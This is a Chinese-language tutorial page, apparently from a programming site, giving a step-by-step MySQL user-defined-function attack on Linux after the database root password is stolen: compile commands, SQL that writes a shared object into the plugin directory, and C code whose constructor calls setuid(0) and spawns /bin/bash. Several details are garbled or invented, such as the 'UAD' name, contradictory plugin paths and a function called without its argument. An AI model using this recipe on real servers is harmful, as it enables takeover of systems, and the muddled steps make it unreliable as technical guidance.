linux下mysql 5.x得到root密码后的另外一种利用方式

Linux下MySQL 5.x得到root密码后的另外一种利用方式是通过 MySQL 运行时加载自己编写的共享对象(Libraries)并执行其中的函数,以获取root权限。这种攻击方式也称为"UAD"(User-Defined Functions in Aggregate Deterministic Mode)攻击。以下是具体攻击步骤:

前提条件
- Linux环境中已经得到MySQL root账号的密码
- 已经将自己编写的共享对象(.so文件)上传到目标机器

步骤一:创建共享对象
在攻击者的Linux环境中使用以下命令生成共享对象:

gcc -g -c -fPIC -o exploittest.o exploittest.c
ld -shared -o exploittest.so exploittest.o

其中,exploittest.c 是编写好的共享库源码文件,exploittest.o 是编译好的目标文件,exploittest.so 是编译好的共享库文件。

步骤二:修改MySQL配置文件
在目标机器中找到MySQL的配置文件 my.cnf,通常存放在 /etc/mysql/my.cnf 或 /usr/local/mysql/etc/my.cnf 中。添加以下语句:

[mysqld]
plugin_dir=/tmp/

其中,/tmp/ 是共享库文件存放的路径。添加完之后,重启 MySQL 服务使其生效。

步骤三:上传共享对象
将步骤一中编译生成的共享库文件 exploittest.so 上传至目标机器存放共享库的路径(在本例中是 /tmp/ )下。

步骤四:连接MySQL
在目标机器中使用 root 权限连接 MySQL,输入以下 SQL 命令:

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';

其中,/usr/lib/mysql/plugin/ 是用于存放 MySQL 插件的目录。以上命令将共享库文件迁移到 MySQL 的插件目录下。

步骤五:执行恶意函数
使用以下 SQL 命令来执行攻击者编写的共享库文件中的函数,从而实现对 MySQL 数据库的控制:

mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system('whoami > /tmp/whoami.txt');

以上命令将当前 MySQL 进程的用户名输出到文件 /tmp/whoami.txt 中。

示例说明:
假设 MySQL 服务器所在的IP地址为10.0.0.1,攻击者成功获得root密码,并编写了如下C语言代码,用于获取当前用户权限:

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    system("/bin/bash");
}

攻击者在自己的Linux环境中生成共享对象 exploittest.so 并上传至10.0.0.1服务器的 /tmp/ 目录下。然后攻击者连接MySQL,执行以下命令:

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';

最后,攻击者使用以下命令执行攻击代码:

mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system();

此时,攻击者获得了目标服务器的root权限。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:linux下mysql 5.x得到root密码后的另外一种利用方式 - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • 解读SQL一些语句执行后出现异常不会回滚的问题

    在 SQL 中,一些语句执行后出现异常是非常常见的问题。特别是在大型应用程序中,由于 SQL 查询和更新是不可避免的,所以在这些场景中出现问题更为普遍。在处理 SQL 执行异常时,回滚操作是个非常核心的概念。它可以确保当一些未知的错误导致 SQL 执行失败时,系统能够恢复到操作前的状态。然而,在某些情况下,SQL 语句的异常不会触发回滚操作。在以下内容中,我…

    database 2023年5月22日
    00
  • 如何自动化部署项目?折腾服务器之旅~

    非常感谢您的提问,如何自动化部署项目确实是一个比较有挑战性的问题,但是通过一些工具和技巧,我们可以轻松实现自动化部署,提高开发效率和稳定性。我会在下面的资源列表中,分享一些比较优秀的资源给大家,供大家参考。 如何自动化部署项目?折腾服务器之旅~ 为什么要自动化部署? 自动化部署的好处是非常明显的,主要体现在以下几个方面: 提高开发效率:自动化部署可以极大地缩…

    database 2023年5月22日
    00
  • SQL SERVER 2000 9003错误的解决方法(只适用于SQL2000)

    下面就是SQL SERVER 2000 9003错误的解决方法(只适用于SQL2000)的完整攻略。 问题背景 在 SQL SERVER 2000 使用过程中,可能会出现 9003 错误,此时无法连接数据库,影响正常使用。那么,该如何解决呢? 解决方法 方法一:利用备份数据库 如果你曾经备份过数据库,那么你可以按照以下步骤进行恢复: 打开 Microsoft…

    database 2023年5月21日
    00
  • 用PHP连mysql和oracle数据库性能比较

    下面是详细讲解“用PHP连mysql和oracle数据库性能比较”的完整攻略。 准备工作 在进行数据库性能比较前,我们需要先搭建好PHP、MySQL和Oracle的环境。 安装PHP环境 我们首先需要在本地安装PHP环境。可以在PHP官网上下载并安装对应系统的PHP版本。 安装MySQL 我们可以在MySQL官网上下载并安装MySQL Community S…

    database 2023年5月22日
    00
  • 解决explorer.exe 应用程序错误,内存不能为 read或written的解决方法小结

    解决explorer.exe应用程序错误内存不能为read或written的问题,具体方法如下: 问题描述 当点击文件夹或运行某些应用程序时,Windows操作系统上可能会出现一个错误提示,指出explorer.exe应用程序发生了错误。错误的详细描述是“0x000000XX内存不能为read或written”。这个错误通常是由于操作系统中的某些系统文件或应…

    database 2023年5月21日
    00
  • mysql read_buffer_size 设置多少合适

    MySQL 的 read_buffer_size 是用来控制 MySQL 数据库在进行读取操作时每次读取的数据块大小。如果设置得过小,可能会导致 I/O 操作频繁,影响系统性能;如果设置得过大,则会占用大量的内存空间,从而影响系统的整体性能,因此,我们需要基于具体的业务场景进行合适的设置。 以下是详细的攻略: 1. 确定 mysql read_buffer_…

    database 2023年5月19日
    00
  • MySQL中CURRENT_TIMESTAMP时间戳的使用详解

    MySQL中CURRENT_TIMESTAMP是一个内置的函数,用于获取当前的系统时间戳,在数据库中的应用非常广泛。本文将详细介绍这个函数的用法及其应用场景,以便读者更好地了解如何在MySQL中应用时间戳。 一、CURRENT_TIMESTAMP的基本用法 在MySQL中,可以通过以下方式来获取当前系统时间戳: SELECT CURRENT_TIMESTAM…

    database 2023年5月22日
    00
  • Node.js与MySQL交互操作及其注意事项

    Node.js与MySQL交互操作及其注意事项 简介 Node.js是一个基于Chrome V8引擎的JavaScript运行环境,可以方便快捷地编写后端应用。对于Web应用来说,数据库是不可或缺的一部分。在Node.js应用中,我们常用的数据库之一就是MySQL。这篇文章将介绍Node.js和MySQL的交互操作以及一些注意事项。 安装MySQL模块 在使…

    database 2023年5月22日
    00
合作推广
合作推广
分享本页
返回顶部